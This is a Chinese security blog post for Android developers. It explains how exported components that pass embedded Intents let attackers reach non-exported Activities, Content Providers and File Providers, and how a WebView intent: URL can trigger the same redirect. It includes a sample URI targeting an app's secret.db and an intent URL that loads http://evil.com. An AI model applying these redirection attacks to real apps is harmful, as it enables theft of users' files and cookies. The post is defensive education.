查看原文
其他

什么是非导出组件的越权访问?开发者必看

小哈 vivo千镜 2022-11-05




Andorid的四大组件Activity,Broadcast Receiver,Service,Content Provider,通过android:exported属性来控制组件是否导出。通常开发者会将一些涉及敏感、危险操作的组件的exported属性设置为False,即不可导出,来限制第三方App对这些组件的调用。那么将组件设置为不可导出就可以高枕无忧了吗?让我们一起往下看。

将组件设置为不可导出看似已经完全限制了第三方App对组件的调用。但实际上如果仅用exported属性来进行限制,仍然存在着相当大的安全风险。

Intent,负责完成Andorid应用、组件之间的交互和通信。无论是拉起Activity,发送广播,还是启动service都需要Intent来完成。下面让我们通过一个经典案例来看看我们是如何使用intent突破不可导出的限制的。

经典案例

当一些可导出的组件采用嵌入式的Intent并传递给一些危险的方法,如startactivity(),sendbroadcast()等时,那么攻击者就有可能通过这些可导出的组件作为跳板去调用非导出组件,达到类似重定向的效果。下面给大家演示一个经典的例子:

AndroidManifest.xml

ExportedActivity

TargetActivity

由于TargetActivity的android:exported属性被设置为false,所以第三方App直接调用TargetActivity的话,则会报错Permission Denial。难道就此停止吗?不,我们惊喜的发现存在一个可导出的ExportedActivity,并且接收extra_intent并以它为参数去startactivity。

那么我们就可以通过ExportedActivity作为跳板去调用TargetActivity。

通过这种方式,第三方应用就可以调用TargetActivity加载任意url,进而利用TargetActivity的特权Js接口、获取cookie等。

Content Provider如何攻击?

能够被重定向攻击的Content Provider应当满足以下两个条件:

1.   被设置为不可导出(不然就可以直接攻击了)

2.   android:grantUriPermissions被设置为true

     攻击者应该将自身的组件设置为extra_intent的目标,并设置以下flags

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION 允许对Content Provider的持久性访问。

  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION 允许通过前缀进行URI访问,而不是使用完整路径重复获得单独的访问权限。

  • Intent.FLAG_GRANT_READ_URI_PERMISSION 允许对Content Provider进行读取操作(如query、openFile等)。

  • Intent.FLAG_GRANT_WRITE_URI_P ERMISSION允许写操作。

下面同样演示一个案例:

被攻击的Content Provider

攻击者接收盗取图片的Activity


攻击者发起攻击Activity

通过ExportedActivity的跳转,攻击者成功获取了受害App的图片。

File Provider如何攻击?

对File Provider的攻击与Content Provider非常类似。

FileProvider

file provider提供了对一些特定目录的读写权限,目录通常在res/xml/provider_paths.xml中进行设置。

后面对File Provider的攻击与Content Provider非常类似,唯一的区别是在extra.setData()时,URI应改为对应所要窃取的文件,如

content://com.hfs.test.files_provider/root/data/data/com.hfs.test/databases/secret.db,同时对应的ReceiveActivity应改为:

Webview如何利用?

IntentString可以通过Intent.toUri(flags)Intent.parseUri(stringUri, flags)两个方法互相转换。通常在Webview中会识别intent协议,解析URL转换成Intent并加载对应的Activity

存在问题的代码

每次Webview加载新链接的时候都会先调用shouldOverrideUrlLoading()。

攻击者将重定向Intent转换为URL

转换的结果为

location.href=

"intent:#Intent;component=com.hfs.test/.TargetActivity;

S.url=http%3A%2F%2Fevil.com%2F;end";

这样在调用shouldOverrideUrlLoading()时,就会解析intent协议,并startActivity受害者App的TargetActivity,并传入恶意url。

通过在shouldOverrideUrlLoading()对intent做限制能够在一定程度上增加安全性,

友情提醒,即便是这样过滤也不能保证百分之百的安全,如果TargetActivity支持deeplink,攻击者仍然可以创建隐式Intent拉起TargetActivity


总之,仅仅将android:exported设置为false并不能一劳永逸地防止第三方调用组件,还需要注意所有可导出组件的危险方法如startactivity(),sendbroadcast()等参数是否可被第三方控制,是否进行相应的校验。另外,如果有高权限应用存在可控的startactivity(),sendbroadcast()等方法时,即使受害应用本身已经做好了对组件和危险方法的控制,仍然会被第三方应用以高权限应用的漏洞为跳板拉起。

攻防是持续的、动态的对抗过程,没有一劳永逸的解决方案,也没有一劳永逸的安全。


参考链接

[1].https://blog.oversecured.com/Android-Access-to-app-protected-components/

[2].https://blog.csdn.net/wsq_tomato/article/details/83349812


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存